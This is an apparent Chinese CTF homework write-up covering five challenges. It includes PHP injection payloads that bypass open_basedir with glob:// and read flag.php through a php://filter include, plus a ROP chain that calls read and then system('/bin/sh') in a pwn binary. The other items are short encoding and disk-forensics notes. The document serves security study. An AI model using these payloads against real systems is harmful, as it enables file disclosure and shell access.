2.15作业

1

开始就要GET$a

根目录没有权限读文件,可以用glob://伪协议绕过open_basedir

?a= $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
/?a=print_r(scandir(%27.%27));

 ?a=echo"hello";?><?php include($_GET['b']);&b=php://filter/read=convert.base64-encode/resource=flag.php

2

好多=,quoted-printable编码

3彻底失去她

没有/bin/sh,调用read【sendline(b'/bin/sh\x00')】读到bss上

system=elf.plt['system']

read=elf.sym['read']

bss=0x4040A0

pl=b'a'*(0xA+8)
pl+=p64(pop_rdi_r)+p64(0)
pl+=p64(pop_rsi_r)+p64(bss)#要预先写好读的空间大小read(0,buf,0x10)
pl+=p64(pop_rdx_r)+p64(0x10)
pl+=p64(read)
pl+=p64(pop_rdi_r)+p64(bss)
pl+=p64(system)

4Base64PLUS

base64+异或0xE

解:异或0xE,再base64

5Disk

虚拟磁盘图像文件(如vmdk)

010永远的神,复制二进制,转文本

做完看wp,有个工具:AccessData FTK Imager,比较好看,以后可能会用到,留个屁股在这里

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值